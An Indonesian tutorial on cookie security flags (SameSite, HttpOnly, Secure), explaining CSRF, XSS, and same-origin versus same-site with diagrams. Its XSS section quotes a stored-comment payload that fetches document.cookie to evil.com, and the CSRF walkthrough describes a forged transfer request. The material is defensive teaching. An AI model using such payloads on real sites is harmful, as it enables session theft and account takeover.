Catatan dari produksi
SecurityCookiesCSRF

Keamanan cookie: SameSite, HttpOnly, Secure

Anggap situs Anda sebuah klub privat, dan cookie sebagai gelang yang membuktikan Anda anggota. Tiap kali Anda mengetuk pintu — memuat sebuah halaman — browser menunjukkan gelang itu, dan Anda tak perlu login ulang. Masalahnya: gelang itu berharga. Kalau seseorang menyalinnya, atau menipu Anda agar memakainya di tempat yang salah, mereka menjadi Anda.

Tiga flag pada satu cookie menutup tiga celah berbeda. Bukan tiga versi dari hal yang sama — tiga penjaga yang berjaga di tiga pintu yang berlainan. Artikel ini menjelaskan masing-masing dengan diagram, lalu menutup dengan satu baris Set-Cookie yang sebaiknya Anda pakai untuk cookie login biasa.

Tiga flag, tiga pertanyaan berbeda

Kunci memahami ketiganya: mereka menjawab pertanyaan yang berbeda. Campur aduk keduanya adalah sumber kebingungan paling umum.

SameSiteattached to this request?transport — which requests carry itHttpOnlyreadable by JavaScript?script access — can the page read itSecuresent over plain HTTP?the wire — HTTPS only, never cleartext
Tiga flag, tiga sumbu yang tak pernah bersinggungan: SameSite soal transport, HttpOnly soal akses script, Secure soal jalur.
  • SameSiteapakah cookie ikut menempel pada request ini? Ia mengontrol request lintas-situs (cross-site). Ini menahan CSRF.
  • HttpOnlyapakah JavaScript di halaman bisa membaca nilai cookie? Kalau dinyalakan, document.cookie tak melihatnya. Ini membatasi kerusakan dari XSS.
  • Securebolehkah cookie lewat HTTP polos? Tidak — hanya lewat HTTPS, jadi tak ada yang bisa menyadapnya di jalan.

Untuk cookie sesi sebuah login, Anda memakai ketiganya. Bentuk header-nya begini:

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

Pertama: apa itu "top-level navigation"

Tiap penjelasan SameSite bersandar pada frasa navigasi GET top-level, lalu tak pernah mendefinisikannya. Padahal seluruh fitur ini dibangun di atas perbedaan itu, jadi mari kita tuntaskan.

Ini soal beda antara seluruh halaman berpindah dan sebuah halaman mengambil sesuatu di latar belakang sementara Anda tetap di tempat.

TOP-LEVEL NAVIGATIONthe address bar changesevil.com<a href="bank.com"> click me</a>you click itbank.com← HEREthe whole page movedYou SEE where you landed.evil.com can’t read the page.SUBRESOURCE REQUESTthe address bar stays putevil.com<script> fetch("bank.com/ balance")</script>no click at allevil.com← stillyou never leftYou see nothing at all.evil.com’s JS reads the reply.SameSite=Lax draws its line exactly herecookie sent on the left · withheld on the right
Top-level navigation vs request subresource. Kiri: Anda mengklik, address bar kini menunjukkan bank.com, dan Anda bisa melihat Anda mendarat di mana. Kanan: tak ada yang berpindah, evil.com masih di layar — dan JavaScript-nya membaca balasannya.

Top-level navigation adalah yang terjadi ketika Anda mengklik link dan seluruh tab pindah ke tempat lain. Alamat di address bar berubah. Anda melihat situs barunya. Semuanya kasatmata bagi Anda.

Request subresource adalah request yang dikirim halaman yang sedang terbuka tanpa halaman itu beranjak — fetch(), <img>, <script>, <iframe>. Address bar tak pernah bergerak. Tak ada apa pun di layar yang memberi tahu Anda bahwa itu terjadi.

Perbedaan itulah alasan Lax ada, dan ujungnya satu pertanyaan: siapa yang boleh membaca balasannya?

  • Pada top-level navigation, penyerang cuma mengarahkan Anda ke suatu tempat. Responsnya dirender di halaman yang tak bisa dibaca JavaScript-nya — itu urusan same-origin policy, aturan yang sama sekali terpisah dari cookie. Mengirim cookie di sini relatif tak berbahaya: Anda tahu Anda ada di mana, dan dia tak tahu isinya apa.
  • Pada fetch di latar belakang, JavaScript-nya membaca isi responsnya. Ini jelas berbahaya.

Lalu GET mempersempitnya satu langkah lagi: mengklik link atau mengikuti redirect, bukan mengirim form. POST lintas-situs yang memindahkan halaman adalah CSRF transfer-uang klasik — Anda memang melihat halaman hasilnya, tapi kerusakannya sudah terjadi, jadi Lax tak mengirim cookie untuk itu.

Lalu: same-origin vs same-site

Atributnya bernama SameSite, bukan SameOrigin, dan kata itu menanggung beban makna. Origin dan site adalah dua batas berbeda dengan aturan berbeda — dan mencampuradukkannya adalah sumber sebagian besar bug "kenapa cookie saya tak kebagian?".

https://app.example.com:443/api/dataschemehostportpathORIGINscheme + host + portall three must match exactlyhttps://app.example.com:443SITEscheme + registrable domainport ignored · subdomains toohttps://*.example.comapp.example.com vs api.example.comdifferent ORIGIN · same SITECORS treats them as strangers · SameSite as family
Satu URL, dua batas. Origin itu scheme + host + port, ketiganya harus sama. Site itu scheme + registrable domain, dengan port dan semua subdomain diabaikan.

Mulai dari URL-nya sendiri, karena tiap aturan di bawah ditulis dengan istilah bagian-bagiannya. Ambil satu alamat:

https://app.example.com:443/api/data
└─┬─┘   └──────┬──────┘ └┬┘ └───┬───┘
scheme      host       port   path
BagianDi siniArtinyaDihitung untuk…
schemehttpsprotokolnya — cara berbicara dengannya. http dan https adalah dua scheme berbeda.origin dan site
hostapp.example.comnama mesinnya, dibaca dari kanan ke kiri: comexample.com → subdomain app.origin secara persis; site hanya setelah subdomain dilipat
port443pintu mana di mesin itu. 443 adalah default HTTPS (80 untuk HTTP), jadi browser menyembunyikannya — ia tetap ada entah Anda mengetiknya atau tidak.origin saja
path/api/datasumber daya mana di host itu.tak keduanya — tak ada batas keamanan yang ditarik di path

Baris terakhir itu sering mengejutkan: /admin dan /public berada di origin yang sama dan site yang sama, jadi tak ada satu pun aturan di artikel ini yang memisahkan keduanya. (Cookie memang punya atribut Path, tapi itu kemudahan pencakupan, bukan batas keamanan — script di origin yang sama selalu bisa menjangkau cookie di path lain.)

Setelah bagian-bagiannya bernama, kedua batas itu hanyalah dua himpunan bagian yang berbeda darinya.

Origin adalah scheme + host + port, dan ketiganya harus sama persis. Inilah batas paling ketat di browser: api.example.com dan www.example.com sama asingnya satu sama lain seperti example.com dan evil.com.

Site adalah scheme + registrable domain. Ia melipat semua subdomain jadi satu dan mengabaikan port sepenuhnya — batas yang jauh lebih longgar.

Singkatan yang dibawa kebanyakan orang di kepala itu benar, dan layak dicatat:

origin  =  https://app.example.com:443   ← host ini persis, port ini persis
site    =  https://*.example.com         ← subdomain apa pun, port berapa pun
ABSame origin?Same site?
https://app.example.comhttps://api.example.com❌ host bedaexample.com
https://example.com/loginhttps://example.com/api/x✅ path tak dihitung
https://example.comhttps://example.com:8443❌ port beda✅ port diabaikan
https://example.comhttp://example.com❌ scheme beda❌ scheme dihitung*
https://app.acme.iohttps://team.acme.io❌ host bedaacme.io
https://app.acme.iohttps://app.example.com❌ domain beda

* Browser modern memakai schemeful same-site, jadi http dan https dihitung sebagai dua site berbeda. Perilaku lama mengabaikan scheme, dan itu membuka jalan bagi penyerang di jaringan untuk menanam cookie lewat HTTP polos yang lalu dipercaya oleh situs HTTPS-nya.

Baris pertama itulah yang paling sering Anda temui: cross-origin tapi same-site. Front-end di satu subdomain memanggil API di subdomain lain itu cross-origin — jadi CORS berlaku — sementara SameSite sama sekali tak keberatan, karena kedua host melipat ke registrable domain yang sama. Meraih SameSite=None untuk "memperbaiki" itu adalah salah diagnosis: sejak awal ia bukan penghalangnya.

Jebakannya: jumlah label tak bisa sekadar dihitung

Registrable domain itu bukan "dua label terakhir". Ia satu label di atas public suffix — dan daftar public suffix dipelihara manual.

shop.example.co.uksubdomainPUBLIC SUFFIXon the PSLregistrable domain = the SITE= the public suffix + one more labelCounting “the last two labels” would give co.uk —then every business under co.uk would be one site.alice.github.io vs bob.github.iogithub.io is ON the list → DIFFERENT siteswithout that entry, one Pages user could setcookies for every other one
Batas site ditemukan lewat Public Suffix List, bukan dengan menghitung titik. Di bawah co.uk, registrable domain-nya example.co.uk; dan karena github.io sendiri ada di daftar itu, dua pengguna GitHub Pages adalah site berbeda.

Menghitung label pada shop.example.co.uk secara naif akan memberi Anda co.uk — dan itu akan membuat tiap bisnis yang terdaftar di bawah co.uk jadi same-site satu sama lain, bebas menetapkan cookie milik yang lain. Public Suffix List ada persis untuk mencegah itu. Aturan ini juga berlaku sebaliknya: github.io ada di daftar tersebut, jadi alice.github.io dan bob.github.io adalah site yang berbeda. Tanpa entri itu, tiap pengguna GitHub Pages bisa menetapkan cookie untuk pengguna lain.

Aturan mana mengatur apa

Inilah hasil praktisnya. Tiga mekanisme yang Anda sentuh dalam satu sore yang sama, tiga tingkat granularitas berbeda:

MECHANISMGRANULARITYReading a fetch() responseCORS is the opt-outORIGINDOM access between framesORIGINlocalStorage / IndexedDBORIGINSameSite cookie attributerequests carry itSITESec-Fetch-Site request headerSITECookie Domain= attributehosts receive itDOMAIN SUFFIXCookies predate origins — they were always domain-scoped.http://x.com:3000 and https://x.com:8080 share one cookie jar.
Membaca respons, framing, dan storage semuanya berbasis origin. SameSite dan Sec-Fetch-Site berbasis site. Atribut Domain milik cookie itu aturan ketiga lagi — sufiks domain.

Perhatikan bahwa cookie jadi anomali dua kali. Ia lahir mendahului model origin, jadi sejak dulu cakupannya berbasis domain — artinya cookie sama sekali tak dilindungi oleh origin. http://example.com:3000 dan https://example.com:8080 berbagi satu toples cookie meski keduanya tiga origin yang berbeda.

Itulah yang membuat bug jenis ini halus. Tiga setelan yang tampak seperti satu keputusan sebenarnya bekerja di tingkat yang berlainan:

'domain'   => '.example.com',   // aturan SUFIKS DOMAIN: HOST mana yang menerima cookie
'sameSite' => 'Lax',            // aturan SITE: apakah request lintas-SITE membawanya
// dan, di tempat lain, di middleware CORS Anda:
'allowedOrigins' => ['https://app.example.com'],  // aturan ORIGIN: siapa yang boleh MEMBACA respons

Kalau yang Anda inginkan adalah berbagi host front-end → host API, itu cross-origin dan same-site: atribut Domain yang menanganinya, dan daftar izin yang menangani bagian bacanya. SameSite tak pernah menghalangi — jadi melonggarkannya ke None tak membeli apa pun dan justru membuka baris fetch() lintas-situs yang tadinya Anda andalkan untuk diblokir.

SameSite: Strict, Lax, None

Sekarang ketiga nilainya masuk akal, karena ketiganya hanyalah tiga tempat untuk menarik garis di skala yang sama: seberapa jauh cookie masih ikut menempel saat request datang dari situs lain. Semakin longgar, semakin nyaman — dan semakin besar permukaan serangan.

Pilih satu nilai dan satu situasi di bawah. Matriksnya tetap di layar supaya sel yang Anda pilih terbaca dalam konteks, bukan sendirian:

StrictLaxNoneSame-site request — any kindCross-site link click (top-level GET)Cross-site redirect back (SSO)Cross-site form POSTCross-site fetch() / XHRCross-site <img> / <script> / <iframe>

Cookie SENT — an inbound link click under SameSite=Lax. A top-level GET navigation: the address bar changed, and whoever sent you there cannot read the page that renders — the same-origin policy stops them. Lax judges that harmless enough to send the cookie, so the user arrives logged in.

Lax — “also when the user clicks their way in.” The browser default when you set no attribute at all, and the right answer for roughly every session cookie.

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax
Silangkan satu nilai SameSite dengan satu jenis request. Baris makin ke bawah makin longgar; cookie dikirim (✓) atau ditahan (✗) per kolom.
Yang sedang terjadiStrictLaxNone
Request same-site — jenis apa pun
Klik link dari situs lain (GET top-level)
Redirect balik dari situs lain (GET top-level)
POST form lintas-situs
fetch() / XHR lintas-situs
<img> / <script> / <iframe> dari situs lain

Lax adalah yang dipakai browser modern kalau Anda tak menulis atribut apa pun. None mewajibkan Secure — pasang lewat HTTP polos dan browser membuang cookie-nya sama sekali, jadi tak ada yang tetap login.

Dalam bahasa sehari-hari

Strict — "hanya kalau penggunanya memang sudah ada di situs saya." Paling aman, dan punya satu kerepotan yang terkenal: Anda sedang login di GitHub, rekan mengirimi Anda link ke repo privat, Anda mengkliknya — dan mendarat dalam keadaan logout. Cookie-nya tak dikirim, karena Anda datang dari aplikasi chat. Anda refresh, dan sekarang Anda login, karena request kedua itu berasal dari GitHub sendiri.

Lax — "juga kalau penggunanya mengklik masuk sendiri." Ia menghapus kerepotan tadi sambil tetap memblokir tiap request latar belakang. Kasus redirect login jalan; kasus fetch diam-diam tidak. Inilah alasan Lax jadi default: ia titik manis untuk hampir semua cookie.

None — "selalu, tak peduli siapa yang meminta." Anda sedang melepas proteksinya sepenuhnya. Ini sah kalau cookie Anda memang harus berfungsi di dalam halaman orang lain — widget chat tertanam, iframe pembayaran, penyedia SSO yang melayani banyak domain tak berkerabat. Ini bukan sesuatu yang dipasang "biar aman".

ModeCookie ikut saat…Cocok untukOngkosnya
Stricthanya request same-site (dari dalam situs Anda sendiri)aksi paling sensitif — panel admin, perbankan, token anti-CSRFklik link dari luar bikin pengguna tampak logout sampai ia menavigasi di dalam situs
Lax (default)request same-site + klik link lintas-situs (navigasi GET top-level)hampir semua cookie sesi — seimbanghampir tak ada; ini titik manis
Nonesemua request, termasuk lintas-situskebutuhan lintas-situs asli — SSO, widget tertanam, iframe pembayaranwajib Secure; SameSite tak lagi melindungi CSRF — Anda harus tambah token CSRF sendiri

Sekarang ketiga flag dalam kombinasi. Atur ketiganya di bawah dan lihat serangan mana yang diblokir atau dibiarkan terbuka — panel dan verdict-nya berubah langsung, dan baris Set-Cookie di bawah persis yang akan Anda kirim.

CSRFforged cross-site requestSameSite=Laxcross-site → withheldblockedXSS token thefta script reads the cookieHttpOnly=truedocument.cookie is emptyblockedNetwork sniffingcookie read off the wireSecure=trueHTTPS onlyblocked

The recommended login cookie. It blocks CSRF, XSS token theft, and wire sniffing, with no usability cost. This is the one to ship.

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax
Sandbox cookie — pilih SameSite, HttpOnly, dan Secure di bawah; panelnya menunjukkan apa yang diblokir tiap pilihan (CSRF, pencurian token XSS, penyadapan jalur) dan apa yang dibiarkan terbuka.

Lax, kasus per kasus (yang benar dan yang bocor)

Lax cuma peduli satu perbedaan: apakah request ini navigasi GET top-level (address bar benar-benar berubah) atau bukan (POST, fetch latar, iframe, gambar). Cookie ikut hanya untuk yang pertama.

cross-siterequesttop-levelGET nav?yes → SENTlink click ✓true positiveGET-trap ⚠false positiveno → STRIPPEDPOST / iframetrue negative
Aturan Lax sebagai satu keputusan: address bar berubah lewat link → kirim; form-post / iframe / fetch → tahan.

Cara jernih menilainya: tugas cookie adalah hadir untuk Anda yang sah dan absen untuk penyerang. Anggap "positif" = cookie dikirim.

KasusCookie dikirim?KlasifikasiArtinya
Klik link sah dari situs lain ke bank.comYaTrue positiveAnda tiba dalam keadaan login — benar dan nyaman
evil.com auto-POST transfer (CSRF)Tidak — ditahanTrue negativerequest palsu tiba tanpa sesi → ditolak. Ini inti Lax
evil.com memuat akun Anda di iframe / fetchTidak — ditahanTrue negativesitus lain tak bisa diam-diam menarik data Anda
Redirect SSO / OAuth yang balik via POST lintas-situsTidak — ditahanFalse negativealur sah tapi tampak logout di tengah jalan — pakai SameSite=None untuk cookie itu saja
Link GET yang mengubah state: /transfer?to=…YaFalse positiveLax tetap mengirim cookie di navigasi GET — makanya jangan pernah mengubah state lewat GET

Satu baris untuk diingat: Lax mengirim cookie kalau pengguna sengaja menavigasi ke situs saya (address bar berubah lewat link/GET), tapi tidak kalau situs saya dihubungi di latar atau lewat form-submit dari halaman orang lain.

CSRF: request palsu dari situs lain

CSRF (cross-site request forgery) adalah serangan yang dibuat untuk dihentikan SameSite. Ini dia dalam gerak lambat — ikuti langkah bernomor di diagram:

  1. Anda login ke bank.com. Ia menyetel cookie sesi Anda. Kalau cookie itu ditandai SameSite=None, browser akan mengirimnya di setiap request ke bank.com — bahkan yang dimulai situs lain.
  2. Tanpa logout, Anda membuka evil.com — sebuah tab, iklan, atau link di email.
  3. evil.com diam-diam menembakkan request ke bank: sebuah form tersembunyi atau fetch menjalankan POST bank.com/transfer?to=attacker. Tak ada yang tampak di layar.
  4. Browser Anda menempelkan cookie bank.com Anda ke request itu — karena SameSite=None menyuruhnya. Inilah langkah yang paling sering disalahpahami: evil.com tak pernah melihat cookie Anda. Ia tak bisa membaca nilainya. Browser yang menempelkannya otomatis, dalam perjalanan ke bank.
  5. bank.com menerima request dengan sesi valid dan menjalankan transfer. Bagi bank, tampak persis seperti Anda yang mengklik tombolnya. Uang lenyap.
SameSite=None1You log in to bank.comthe bank sets your session cookie…2Still logged in, you open evil.coma new tab, an ad, a link — you never logged out3evil.com fires a hidden requestPOST bank.com/transfer?to=attacker4Your browser attaches the cookieSameSite=None → sent on ANY site’s requestcookie attached5bank.com sees a valid session→ the transfer runs. You’re robbed.evil.com never READS your cookie — your browser attaches it.It rides your logged-in session; it doesn’t steal it.The fix — SameSite=Lax (the default)step 4 flips: the browser WITHHOLDS the cookie on the cross-site POST→ bank.com sees no session → 401. Same request, attack dead.
Request lintas-situs palsu. Di bawah SameSite=None, browser menempelkan cookie bank Anda ke POST milik evil.com, jadi ia menumpang sesi Anda. SameSite=Lax menahan cookie dan request yang sama mati dengan 401.

Jadi cookie tak pernah dicuri — ia menumpang. Penyerang meminjam sesi login Anda untuk satu request. (Membaca nilai cookie adalah serangan berbeda — XSS, berikutnya — dan itulah yang dihentikan HttpOnly.)

Perbaikannya satu kata. Setel SameSite=Lax (sudah jadi default browser) atau Strict. Di langkah 4, browser melihat POST palsu itu, menyadari ini request lintas-situs yang bukan navigasi top-level, lalu menahan cookie. bank.com menerima request anonim dan menjawab 401. Serangan yang sama, kini mati — tanpa kode tambahan di sisi bank.

XSS: lubang yang tak bisa ditutup SameSite

Sekarang serangan yang tak disentuh SameSite. XSS (cross-site scripting) adalah saat penyerang berhasil menjalankan JavaScript mereka di halaman Anda sendiri. Pengantarannya yang klasik: sebuah komentar tersimpan — teks komentar penyerang itu harfiah begini:

<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

Sekarang ikuti langkah bernomor di diagram:

  1. Penyerang mengirim komentar itu di halaman mana pun yang mengizinkan komentar.
  2. Server Anda menyimpannya di database, mentah — teksnya tak pernah di-escape. (Salah konfigurasi #1: tak disanitasi.)
  3. Belakangan, korban membuka halaman komentar, dan server mengirim komentar tersimpan itu kembali ke browser (backend → frontend).
  4. Halaman me-render komentar itu tanpa di-escape, jadi <script>-nya menjadi kode hidup, bukan teks — dan karena CSP halaman mengizinkan unsafe-inline, browser membiarkan script inline itu berjalan. (Salah konfigurasi #2 dan #3.)
  5. Script itu berjalan sebagai situs Anda sendiri dan membaca document.cookie. Dengan HttpOnly=false ia bisa melihat nilai sesi, jadi ia mengirim cookie Anda ke evil.com. Token dicuri dan bisa diputar ulang.
1Attacker posts a comment<script>steal()</script>2The server stores it in the DBsaved raw — the text is never escapednot sanitized3A victim opens the comments pagethe server sends the stored comment back (BE → FE)4The page renders it — unescapedthe <script> becomes live codeCSP: unsafe-inline5It runs & reads your cookiedocument.cookie → sent to evil.comHttpOnly=falsethe script runs as YOUR site (same-origin) — SameSite can’t see it.all three misconfigs above must line up for the theft to work.The fix — three locks, any one breaks the chainescape output → inert text · strict CSP → no inline script runsHttpOnly=true → document.cookie is empty, nothing to steal
Exfiltrasi stored-XSS. Komentar disimpan tanpa sanitasi, dikirim balik, di-render tanpa escape (CSP unsafe-inline membiarkannya berjalan), dan script membaca cookie karena HttpOnly false — lalu mengirimnya ke evil.com.

Script itu jalan sebagai situs Anda (same-origin), bukan request lintas-situs — jadi SameSite tak punya suara di sini. Tiga salah konfigurasi harus sejajar; putus salah satunya saja dan pencurian gagal. HttpOnly=true adalah kunci milik cookie itu sendiri: document.cookie mengembalikan string kosong, jadi meski script berjalan, JavaScript tak pernah melihat token — tak ada yang bisa di-exfiltrasi dan diputar ulang.

"Cross-site scripting" itu salah nama

Perlu dipatok, karena namanya justru menyesatkan orang soal batas mana yang sebenarnya dilewati.

Namanya bilang cross-site. Mekanismenya same-origin. Radius ledakannya same-site. Tiga jawaban berbeda, satu akronim.

the NAME sayscross-siteevil.combank.com“reaching across” — what it meant in 2000the MECHANISM issame-originbank.com renders itruns ASbank.comreads the DOM, localStorage, its own APIthe BLAST RADIUS issame-sitemarketing.example.comcookie Domain=.example.com→ auth · api · every sibling host is in scopenamed cross-site · executes same-origin · spreads same-site
Tiga batas yang terlilit dalam satu akronim: XSS dinamai cross-site, dieksekusi same-origin, dan menyebar same-site.

Istilah ini dicetuskan sekitar tahun 2000, dan waktu itu ia memang menggambarkan serangan yang benar-benar lintas-situs — halaman penyerang memuat situs korban di dalam frame lalu men-script menyeberangi batas frame itu. Browser menutup celah spesifik itu dengan menegakkan same-origin policy pada frame. Namanya hidup lebih lama daripada serangan yang ia namai, lalu menempel ulang ke penyuntikan script, yang sebenarnya hal berbeda. HTML injection atau script injection jauh lebih tepat menggambarkan XSS hari ini.

Same-origin itulah seluruh tingkat keparahannya. Kalau script yang disuntikkan berjalan di origin penyerang, XSS bukan peristiwa apa-apa — itu cuma sebuah situs menjalankan JavaScript, dan memang itu pekerjaan situs. Seluruh bahayanya lahir dari fakta bahwa ia berjalan di origin Anda:

Script suntikan itu bisa…Karena…
Membaca seluruh DOM, termasuk isian formorigin-nya sama
Membaca localStorage / IndexedDBstorage cakupannya per-origin
Memanggil API Anda sendiri dan membaca responsnyasame-origin — CORS tak berlaku
Bertindak memakai sesi penggunanyacookie menempel otomatis

Perhatikan baris ketiga sejenak. CORS sama sekali tak relevan untuk XSS. Semua kerja teliti menyusun daftar izin di konfigurasi CORS Anda melindungi dari origin lain; ia tak berbuat apa-apa begitu kode penyerang sudah berjalan di dalam origin Anda sendiri.

Dan "site" memang kembali muncul — untuk radius ledakannya. Eksekusi script berbasis origin, tapi cookie dicocokkan lewat sufiks domain. Jadi XSS di satu host bernilai rendah di bawah domain Anda — microsite marketing lama, tool admin yang terlupakan — menaruh tiap cookie bercakupan Domain=.example.com dalam jangkauan, dan script-nya bisa memanggil semua service di bawah domain itu dengan status terautentikasi. Eksekusinya same-origin; akibatnya menyebar same-site. Ini juga argumen penentang wildcard *.example.com di daftar izin CORS: satu subdomain yang diambil alih di mana pun langsung jadi akses setingkat sesi di mana-mana.

SameSite menghentikan request palsu. HttpOnly menghentikan token yang dicuri. Secure menghentikan jalur yang disadap. XSS-nya sendiri Anda matikan di hulu dengan CSP dan encoding — flag hanya membatasi kerusakannya.

Pembagian tugas ketiga flag

CSRF vs XSS: scope Request vs scope Scripting

Kedua serangan berbagi kata depan yang sama — Cross-Site — jadi keduanya mudah tertukar. Bedanya ada di kata berikutnya, dan itulah inti seluruhnya: kata itu menamai scope yang diserang masing-masing.

both start “Cross-Site” (the X = cross) — the SCOPE is what differsCSRFCross-Site Request Forgeryscope = the REQUESTanothersiteyoursitebrowser auto-attaches your cookie✓ SameSite blocks ita cross-site request → withheldattacker never reads the cookieXSSCross-Site Scripting (no R)scope = the SCRIPTinjectedscriptdocument.cookieruns on your page, as you → reads it✗ SameSite can’t reach it✓ HttpOnly = truehides the cookie from the script
Keduanya cross-site; yang berbeda adalah scope-nya. CSRF menyerang request (tugas SameSite); XSS menyerang lewat script di halaman Anda sendiri (tugas HttpOnly).
  • CSRF = Cross-Site Request Forgery. Scope-nya adalah request. Situs lain membuat browser Anda mengirim sebuah request; cookie Anda ikut menempel otomatis. Karena ini request lintas-situs, SameSite melihatnya dan menahan cookie — selesai.
  • XSS = Cross-Site Scripting. Scope-nya adalah script — perhatikan tak ada "R", tak ada yang dipalsukan antar-situs. Sebaliknya sebuah script disuntikkan ke halaman Anda sendiri; saat ia jalan (sebagai situs Anda sendiri) ia membaca document.cookie langsung. Itu bukan request lintas-situs, jadi SameSite tak pernah melihatnya. Satu-satunya perbaikan adalah HttpOnly=true, yang menyembunyikan cookie dari script.

Jadi kedua flag tak pernah tumpang-tindih: SameSite menjaga batas request, HttpOnly menjaga batas script. Tak ada yang bisa menggantikan tugas yang lain.

Secure: menjaga jalur

Secure adalah yang paling sederhana: cookie hanya dikirim lewat HTTPS, tak pernah lewat HTTP polos. Tanpa ini, siapa pun yang menyadap jaringan — Wi-Fi kafe, proxy nakal — membaca cookie langsung dari request, meski HttpOnly memblokir pembacaan lewat script. HttpOnly menjaga cookie dari JavaScript; Secure menjaganya dari kabel.

Itu sebabnya SameSite=None mewajibkan Secure: cookie yang dikirim ke mana-mana sama sekali tak boleh pernah menyeberang dalam bentuk teks jelas.

Gabungkan ketiganya

Ketiga flag menutup tiga kelas serangan yang tak beririsan. Tak ada satu sel pun tempat mereka saling menggantikan — Anda butuh ketiganya.

sessioncookieSecureno plaintext on the wirestops network sniffingSameSite=Laxno forged cross-site requeststops CSRFHttpOnlyno token read by scriptstops XSS theft
Tiga flag, tiga pertahanan di sekitar satu cookie sesi: Secure menjaga jalur, SameSite menjaga request, HttpOnly menjaga token.

Lakukan

  • Set Secure; HttpOnly; SameSite=Lax pada tiap cookie sesi/auth.
  • Simpan aksi yang mengubah state di POST/PUT/DELETE, tak pernah GET.
  • Kalau butuh SameSite=None, pasangkan dengan Secure dan token CSRF.

Jangan

  • Jangan andalkan HttpOnly untuk mencegah XSS — ia hanya membatasi blast radius-nya.
  • Jangan pakai SameSite=None "biar aman dari error" — itu mematikan proteksi CSRF bawaan.
  • Jangan taruh operasi mengubah-state di link GET — Lax tetap mengirim cookie di sana.

Pertanyaan umum

Apa persisnya “top-level GET navigation” itu?

Seluruh tab berpindah karena Anda mengklik link atau mengikuti redirect — alamatnya berubah dan Anda bisa melihat sendiri Anda mendarat di mana. fetch(), <img>, <iframe>, atau POST form tidak termasuk: halamannya tetap diam. Lax mengirim cookie untuk jenis pertama dan mencabutnya dari semua sisanya, karena pada navigasi si pengirim tak bisa membaca halaman yang ia tuju-kan untuk Anda, sedangkan pada request latar belakang script-nya membaca balasannya.

Front-end dan API saya beda subdomain — apa saya butuh SameSite=None?

Hampir pasti tidak. Beda subdomain itu cross-origin tapi same-site, dan request same-site membawa cookie di ketiga nilai, termasuk Strict. Yang Anda butuhkan adalah atribut Domain pada cookie (supaya kedua host menerimanya) dan daftar izin CORS (supaya browser membolehkan front-end membaca responsnya). Menyetel None tidak membuka apa pun di situ — ia hanya membuka jalur fetch() lintas-situs yang justru ingin Anda blokir.

Kalau saya tak set SameSite sama sekali, apa yang terjadi?

Browser modern menganggapnya Lax. Jadi Anda sudah dapat proteksi CSRF dasar tanpa menulis apa pun — tapi tetap tulis eksplisit agar niatnya jelas dan konsisten lintas-browser.

HttpOnly bikin cookie tak berguna buat JavaScript saya — bagaimana?

Itu memang tujuannya untuk cookie sesi: token auth tak seharusnya disentuh script. Kalau front-end Anda butuh membaca sesuatu, simpan data non-sensitif itu di cookie/penyimpanan terpisah, dan biarkan token sesi tetap HttpOnly.

Kalau saya sudah pakai token CSRF, apakah SameSite masih perlu?

Ya — pertahanan berlapis. SameSite=Lax mematikan sebagian besar vektor CSRF di transport, jadi token CSRF jadi jaring pengaman, bukan satu-satunya pertahanan. Keduanya murah; pakai keduanya.

Apakah Secure bikin cookie aman dari XSS?

Tidak. Secure hanya soal jalur (HTTPS), bukan akses script. Yang menahan pencurian token lewat document.cookie adalah HttpOnly; yang menahan XSS sejak awal adalah output encoding + CSP.

Intinya

Tiga flag, tiga serangan. SameSite=Lax menghentikan request lintas-situs palsu (CSRF). HttpOnly menghentikan token dicuri oleh script (XSS). Secure menjaganya agar tak pernah menyeberang dalam teks jelas. XSS-nya sendiri Anda matikan di hulu dengan CSP + encoding; flag hanya membatasi kerusakannya. Untuk cookie login biasa, tiga kata sudah cukup: Secure; HttpOnly; SameSite=Lax.

Ini bagian dari rangkaian keamanan yang sama dengan SSL & keamanan di edge (TLS, HSTS, CSP, WAF) dan DNSSEC: segel anti-utak-atik untuk DNS.

Sources

  1. MDN — Set-Cookie (Secure, HttpOnly, SameSite)
  2. MDN — SameSite attribute
  3. OWASP — Cross-Site Request Forgery (CSRF)
  4. OWASP — HttpOnly